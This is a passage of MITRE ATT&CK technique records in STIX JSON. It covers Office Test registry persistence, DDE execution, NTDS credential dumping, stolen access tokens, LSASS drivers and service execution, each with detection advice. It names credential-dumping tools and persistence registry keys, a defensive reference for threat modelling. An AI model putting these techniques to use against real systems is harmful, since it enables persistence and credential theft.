efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows","Office 365"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","type":"attack-pattern","created":"2019-11-07T19:44:04.475Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1137.002","url":"https://attack.mitre.org/techniques/T1137/002"},{"url":"http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/","description":"Hexacorn. (2014, April 16). Beyond good ol’ Run key, Part 10. Retrieved July 3, 2017.","source_name":"Hexacorn Office Test"},{"url":"https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/","description":"Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.","source_name":"Palo Alto Office Test Sofacy"}],"modified":"2021-08-16T21:35:17.618Z","name":"Office Test","description":"Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\n\nConsider monitoring Office processes for anomalous DLL loads.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Module: Module Load","File: File Modification","Windows Registry: Windows Registry Key Modification","File: File Creation","Windows Registry: Windows Registry Key Creation"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_system_requirements":["Office 2007, 2010, 2013, and 2016"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf","type":"attack-pattern","created":"2020-10-01T01:30:00.877Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1587","url":"https://attack.mitre.org/techniques/T1587"},{"url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","source_name":"Mandiant APT1"},{"source_name":"Kaspersky Sofacy","description":"Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.","url":"https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"},{"source_name":"Bitdefender StrongPity June 2020","url":"https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf","description":"Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."},{"source_name":"Talos Promethium June 2020","url":"https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html","description":"Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020."},{"source_name":"Splunk Kovar Certificates 2017","url":"https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html","description":"Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."}],"modified":"2021-10-17T16:07:08.768Z","name":"Develop Capabilities","description":"Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nConsider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Malware Repository: Malware Content","Internet Scan: Response Content","Malware Repository: Malware Metadata"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1173","url":"https://attack.mitre.org/techniques/T1173"},{"url":"https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/","description":"Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.","source_name":"BleepingComputer DDE Disabled in Word Dec 2017"},{"url":"https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021","description":"Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.","source_name":"Microsoft ADV170021 Dec 2017"},{"url":"https://technet.microsoft.com/library/security/4053440","description":"Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.","source_name":"Microsoft DDE Advisory Nov 2017"},{"url":"https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/","description":"El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.","source_name":"SensePost PS DDE May 2016"},{"url":"https://www.contextis.com/blog/comma-separated-vulnerabilities","description":"Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.","source_name":"Kettle CSV DDE Aug 2014"},{"url":"https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee","description":"Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.","source_name":"Enigma Reviving DDE Jan 2018"},{"url":"https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/","description":"Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.","source_name":"SensePost MacroLess DDE Oct 2017"},{"url":"https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/","description":"NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.","source_name":"NVisio Labs DDE Detection Oct 2017"}],"modified":"2022-02-09T20:22:43.284Z","name":"Dynamic Data Exchange","description":"Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_data_sources":[]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ed Williams, Trustwave, SpiderLabs"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24","type":"attack-pattern","created":"2020-02-11T18:42:35.572Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1003.003","url":"https://attack.mitre.org/techniques/T1003/003"},{"url":"https://en.wikipedia.org/wiki/Active_Directory","description":"Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.","source_name":"Wikipedia Active Directory"},{"url":"http://adsecurity.org/?p=1275","description":"Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.","source_name":"Metcalf 2015"}],"modified":"2022-03-08T21:00:52.774Z","name":"NTDS","description":"Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\\NTDS\\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","File: File Access"],"x_mitre_permissions_required":["Administrator"],"x_mitre_system_requirements":["Access to Domain Controller or backup"]},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5","type":"attack-pattern","created":"2020-10-19T23:51:05.953Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1602.001","url":"https://attack.mitre.org/techniques/T1602/001"},{"source_name":"SANS Information Security Reading Room Securing SNMP Securing SNMP","url":"https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051","description":"Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020."},{"source_name":"US-CERT-TA18-106A","url":"https://www.us-cert.gov/ncas/alerts/TA18-106A","description":"US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020."},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."},{"source_name":"Cisco Advisory SNMP v3 Authentication Vulnerabilities","url":"https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3","description":"Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020."}],"modified":"2020-10-22T01:54:22.812Z","name":"SNMP (MIB Dump)","description":"Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_detection":"Identify network traffic sent or received by untrusted hosts or networks that expose MIB content or use unauthorized protocols.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","type":"attack-pattern","created":"2020-03-15T00:37:58.963Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1001.002","url":"https://attack.mitre.org/techniques/T1001/002"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-15T00:37:58.963Z","name":"Steganography","description":"Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","type":"attack-pattern","created":"2020-03-11T14:43:31.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1204.001","url":"https://attack.mitre.org/techniques/T1204/001"}],"modified":"2020-03-11T14:43:31.706Z","name":"Malicious Link","description":"An adversary may rely upon a user clicking a malicious link in order to gain execution. Users may be subjected to social engineering to get them to click on a link that will lead to code execution. This user action will typically be observed as follow-on behavior from [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Clicking on a link may also lead to other execution techniques such as exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). Links may also lead users to download files that require execution via [Malicious File](https://attack.mitre.org/techniques/T1204/002).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Inspect network traffic for indications that a user visited a malicious site, such as links included in phishing campaigns directed at your organization.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded from a link and executed on the user's computer.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","File: File Creation","Network Traffic: Network Connection Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Office 365","SaaS","Google Workspace","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Shailesh Tiwary (Indian Army)","Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)","Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)","Mark Wee","Jen Burns, HubSpot"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","created":"2020-01-30T17:37:22.261Z","x_mitre_version":"1.3","external_references":[{"source_name":"mitre-attack","external_id":"T1550.001","url":"https://attack.mitre.org/techniques/T1550/001"},{"source_name":"Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019","url":"https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/","description":"Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019."},{"source_name":"AWS Logging IAM Calls","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html","description":"AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022."},{"source_name":"AWS Temporary Security Credentials","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html","description":"AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022."},{"source_name":"Microsoft Identity Platform Access 2019","url":"https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens","description":"Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019."},{"source_name":"Google Cloud Service Account Credentials","url":"https://cloud.google.com/iam/docs/creating-short-lived-service-account-credentials ","description":"Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022."},{"source_name":"GCP Monitoring Service Account Usage","url":"https://cloud.google.com/iam/docs/service-account-monitoring","description":"Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022."},{"source_name":"okta","url":"https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen","description":"okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019."},{"source_name":"Rhino Security Labs Enumerating AWS Roles","url":"https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration","description":"Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through ‘AssumeRole’. Retrieved April 1, 2022."},{"source_name":"Staaldraad Phishing with OAuth 2017","url":"https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/","description":"Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019."},{"url":"https://capec.mitre.org/data/definitions/593.html","source_name":"capec","external_id":"CAPEC-593"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users or services and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) \n\nIn AWS and GCP environments, adversaries can trigger a request for a short-lived access token with the privileges of another user account.(Citation: Google Cloud Service Account Credentials)(Citation: AWS Temporary Security Credentials) The adversary can then use this token to request data or perform actions the original account could not. If permissions for this feature are misconfigured – for example, by allowing all users to request a token for a particular account - an adversary may be able to gain initial access to a Cloud Account or escalate their privileges.(Citation: Rhino Security Labs Enumerating AWS Roles)\n\nOAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.","modified":"2022-04-21T16:25:42.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Application Access Token","x_mitre_detection":"Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs. Additionally, administrators should review logs for calls to the AWS Security Token Service (STS) and usage of GCP service accounts in order to identify anomalous actions.(Citation: AWS Logging IAM Calls)(Citation: GCP Monitoring Service Account Usage)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Application Log: Application Log Content","Web Credential: Web Credential Usage"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":["System Access Controls"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vincent Le Toux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4","created":"2020-01-24T18:38:55.801Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1547.008","url":"https://attack.mitre.org/techniques/T1547/008"},{"source_name":"Microsoft LSA Protection Mar 2014","url":"https://technet.microsoft.com/library/dn408187.aspx","description":"Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017."},{"source_name":"Microsoft DLL Security","url":"https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx","description":"Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017."},{"source_name":"Microsoft Security Subsystem","url":"https://technet.microsoft.com/library/cc961760.aspx","description":"Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017."},{"source_name":"TechNet Autoruns","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.(Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.","modified":"2022-04-20T16:34:43.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"LSASS Driver","x_mitre_detection":"With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Modification","Module: Module Load","Driver: Driver Load","File: File Creation"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["SYSTEM","Administrator"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","type":"attack-pattern","created":"2020-03-10T18:33:36.159Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1569.002","url":"https://attack.mitre.org/techniques/T1569/002"},{"source_name":"Microsoft Service Control Manager","url":"https://docs.microsoft.com/windows/win32/services/service-control-manager","description":"Microsoft. (2018, May 31). Service Control Manager. Retrieved March 28, 2020."},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx","description":"Russinovich, M. (2014, May 2). Windows Sysinternals PsExec v2.11. Retrieved May 13, 2015.","source_name":"Russinovich Sysinternals"}],"modified":"2021-08-30T17:42:40.945Z","name":"Service Execution","description":"Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager (<code>services.exe</code>) is an interface to manage and manipulate services.(Citation: Microsoft Service Control Manager) The service control manager is accessible to users via GUI components as well as system utilities such as <code>sc.exe</code> and [Net](https://attack.mitre.org/software/S0039).\n\n[PsExec](https://attack.mitre.org/software/S0029) can also be used to execute commands or payloads via a temporary Windows service created through the service control manager API.(Citation: Russinovich Sysinternals) Tools such as [PsExec](https://attack.mitre.org/software/S0029) and <code>sc.exe</code> can accept remote servers as arguments and may be used to conduct remote execution.\n\nAdversaries may leverage these mechanisms to execute malicious content. This can be done by either executing a new or modified service. This technique is the execution used in conjunction with [Windows Service](https://attack.mitre.org/techniques/T1543/003) during service persistence or privilege escalation.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Changes to service Registry entries and command line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Windows Registry: Windows Registry Key Modification","Service: Service Creation","Command: Command Execution"],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Azure AD","Office 365","SaaS","IaaS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jon Sternstein, Stern 